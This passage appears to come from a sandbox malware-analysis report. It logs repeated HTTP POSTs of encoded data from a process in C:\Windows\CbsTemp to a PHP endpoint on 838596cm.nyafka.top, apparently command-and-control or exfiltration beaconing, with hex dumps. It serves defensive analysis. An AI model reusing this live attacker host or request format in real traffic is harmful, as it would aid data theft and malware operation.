cfL4;desc="?proto=TCP&rtt=5025&min_rtt=1976&rtt_var=6839&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2877&delivery_rate=55368&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a Data Ascii: 41U][
Jan 8, 2025 17:13:56.504388094 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50059	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:57.279416084 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:13:57.629504919 CET	2532	OUT	Data Raw: 55 54 5b 53 59 5c 56 53 5e 5f 57 54 56 5b 59 58 57 50 58 52 50 58 56 5f 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UT[SY\VS^_WTV[YXWPXRPXV_[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ +_$1>)].40?.&8&3%(T?(,4!>#].?#_&'P-3
Jan 8, 2025 17:13:57.733865976 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:58.000607967 CET	811	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ri67NeShSpCmyJ0t9L%2BkO%2FKXehJAHtos%2BSSrAlWTgOJhll6bEEdyGX1XIESPPbiOyFZ53lVbi7NPjhlmE4Oh1JO%2ByfO01XX%2FJLrvbLEpco%2B1ZKaSlbvUx9HHY5gLHJcigkAIh6Ur"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a5389eb43b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8147&min_rtt=1572&rtt_var=13740&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=26949&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50060	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:58.160156965 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:58.504412889 CET	2532	OUT	Data Raw: 50 57 5e 57 59 5f 53 5e 5e 5f 57 54 56 5b 59 5b 57 52 58 5f 50 5f 56 50 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PW^WY_S^^_WTV[Y[WRX_P_VP[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ [(;+' .)=)X.4+=X)(+9'8%<"\>Z .<./#_&'P-3
Jan 8, 2025 17:13:58.607022047 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:58.927630901 CET	800	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=78pWZdaD0bo9F6IvM38h7SN60kBDSA5IAtOlDVww%2Bn8Ur%2BYOWwVBe7y7pyUhnoLhTWBe7vSlgORLmAzZ3vUBUvYnNLNPnj3H9lcigHUkqNj5zYIDVRIsp7ncK%2BS7CZQw4XMPSULn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a590b40424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8287&min_rtt=1646&rtt_var=13901&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=26651&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a Data Ascii: 41U][
Jan 8, 2025 17:13:59.014941931 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50061	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:59.149316072 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:59.504462957 CET	2532	OUT	Data Raw: 50 50 5b 54 59 5c 53 58 5e 5f 57 54 56 57 59 5f 57 5e 58 5b 50 5c 56 5a 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PP[TY\SX^_WTVWY_W^X[P\VZ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#+7%#&Z-;4'>>9>X'1+2#)$"89#_&'P-
Jan 8, 2025 17:13:59.593327999 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:59.769481897 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BZkxlCK%2BqRn6Zvz%2B6%2BSK6hbm15tBB5%2FEeiqdz01r6fEFuk4zNq3FYlQB7N185WJ1XSBPPbPIPxsD8us0P3RThSLo8yTkh2YUuusIQ40vOueCgoLBIDNrXQadgq7EPxrA8UCZojbG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a5f2d5343b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2140&min_rtt=1589&rtt_var=1698&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=243333&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	50062	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:00.074603081 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:00.426297903 CET	2532	OUT	Data Raw: 55 54 5b 54 59 5f 56 5d 5e 5f 57 54 56 57 59 5b 57 5f 58 58 50 5d 56 5a 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UT[TY_V]^_WTVWY[W_XXP]VZ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ +(^$>>.:/?\)=Z((*3-<1/_)0Y5=.#_&'P-
Jan 8, 2025 17:14:00.521079063 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:00.781835079 CET	799	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NG9DqlfevhWuvuuSnGBeGWgN5Wu3asQHwfNf3bTITTudFdgi7%2FT2eURYpcr61cJZgzyyVicOljF%2BkHCv2VK0EAR65sNDRo58yWKJKlH3bKwb3hXoucprO20M6XAjB2q5%2FmBaEYEJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a64fd4d727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3723&min_rtt=2024&rtt_var=4157&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=93487&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a Data Ascii: 41U][
Jan 8, 2025 17:14:00.868566036 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	50063	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:01.004168034 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	50064	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:01.260843039 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1828 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:01.613718987 CET	1828	OUT	Data Raw: 55 5d 5e 54 59 59 56 5b 5e 5f 57 54 56 5f 59 52 57 53 58 5e 50 59 56 59 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U]^TYYV[^_WTV_YRWSX^PYVY[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#*8'#?=X/(?>6)+"$8.("'>7";9?#_&'P-#
Jan 8, 2025 17:14:01.707508087 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:01.918657064 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:01.971962929 CET	959	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WBJb7be27oeHTjE4aJCni%2F%2FJZPXGuYmqWj5xexq%2FIOI9IrBhbfLrwmYRNAHo0qzM8Eir5cRiEmnDL7RvVkI9QjPcFMS6Ebu8%2BCJ%2FnTftp2XprK81v2GwfYdHFdeGatSSvIwN%2BZCL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a6c5f8c424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1726&min_rtt=1599&rtt_var=854&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2177&delivery_rate=557464&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 27 0c 33 04 3f 03 20 3b 31 56 3f 29 24 01 3d 30 39 03 2d 29 0e 5b 25 1a 02 14 32 2c 2b 02 20 2f 00 00 3c 38 31 5d 24 26 23 0e 2b 2b 20 5c 04 1f 27 00 2b 28 35 1f 3e 01 35 05 27 20 31 10 25 23 09 01 26 03 2b 5b 27 39 0c 52 37 39 0d 1c 2e 20 32 50 2e 28 27 02 2a 37 0d 05 24 2e 2f 50 0f 10 3b 0c 39 2a 27 1e 22 31 3a 57 21 55 24 04 23 26 30 13 3e 13 38 09 35 3f 3e 05 27 33 39 50 20 31 27 12 33 1d 0a 05 28 0f 2c 1e 3f 33 24 55 2c 02 2c 49 02 3f 58 52 0d 0a 30 0d 0a 0d 0a Data Ascii: 98'3? ;1V?)$=09-)[%2,+ /<81]$&#++ \'+(5>5' 1%#&+['9R79. 2P.('7$./P;9'"1:W!U$#&0>85?>'39P 1'3(,?3$U,,I?XR0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50065	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:01.400342941 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:01.754358053 CET	2532	OUT	Data Raw: 50 50 5e 5e 5c 5f 56 5b 5e 5f 57 54 56 58 59 5e 57 50 58 5b 50 5a 56 5a 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PP^^\_V[^_WTVXY^WPX[PZVZ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ X8($3!=.>,4Z==&(;%'+)+T$,("+9/#_&'P-?
Jan 8, 2025 17:14:01.883395910 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:02.044538021 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=khQ9%2BLF1TGGHxSEsAv4fwgqj7UEJrHc7ETicvJ7ddg3Kn6mwtqUXJY97Gr7H4qXPnhcJwAKRtTjh4CjPAhRbT%2BxuxmovQWgf6DBHVYuO19i4RXYS57s3MMlPAJrxJgNlpjldZ79v"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a6d7d230f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3696&min_rtt=1664&rtt_var=4688&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=81459&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50066	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:02.651886940 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:14:03.004832983 CET	2532	OUT	Data Raw: 55 55 5b 55 59 5c 56 5b 5e 5f 57 54 56 5f 59 5b 57 53 58 5c 50 5f 56 50 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UU[UY\V[^_WTV_Y[WSX\P_VP[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ [<3_$?-;44=>=*;&0.Q(";)?!.7\-/#_&'P-#
Jan 8, 2025 17:14:03.128411055 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:03.374466896 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ad7MU9YGwf7p3L0%2F2jzwr7NgnoqODvUc33hzB5%2FoA5FHoONuodLV3QCgL8hG7Pyyda9Sn7XSko%2FPZr04N2A1lAjP3RXKtYxYcDTBa5h7pT4OBnLwqdXywtJvVX7NRc4ROxbVuTVT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a753a98c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7819&min_rtt=1486&rtt_var=13223&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=27995&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50067	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:03.537370920 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:14:03.895124912 CET	2532	OUT	Data Raw: 55 52 5e 52 59 51 56 5b 5e 5f 57 54 56 5a 59 53 57 50 58 5d 50 59 56 5d 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UR^RYQV[^_WTVZYSWPX]PYV][EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ Y?;#':^>/$?=>")(:'+-("$)76=#\-#_&'P-7
Jan 8, 2025 17:14:03.981453896 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:04.148511887 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=saXob2Fwkbk83GgOTRKfOPbltq1RqpBjPd03UI1gC5%2Bn418ceMgYymf8jkDiNGdlLEVGTUIF5CZ8qMzBC4kV8fYA3YpAE6sstEoqaNRgJ36VcFciQvO%2FIJ2ljpMZBt99Mi9qXC%2BQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a7a991e727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2662&min_rtt=1956&rtt_var=2146&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=191878&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	50068	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:04.278474092 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:14:04.631182909 CET	2532	OUT	Data Raw: 55 54 5b 55 59 51 56 52 5e 5f 57 54 56 5d 59 53 57 53 58 5d 50 5e 56 58 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UT[UYQVR^_WTV]YSWSX]P^VX[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ X(($%=>!/3\=!>'].S<!,/# -':#_&'P-+
Jan 8, 2025 17:14:04.724082947 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:04.904283047 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KC46BKDX44FaJ2dpZO2CcJpsps5hug4XoZAPzeuIzcsrBXyNbYPuQsur%2FMq24%2FGzfiXVSgXRAQMbtakQ67d3NhFTmsMFpvjIrpp%2BlvLAwKn7ZIS%2BqyoSedNnV3mSAx%2FseTpCA8uI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a7f3f03727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2052&min_rtt=2017&rtt_var=781&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=723847&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	50069	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:05.550946951 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
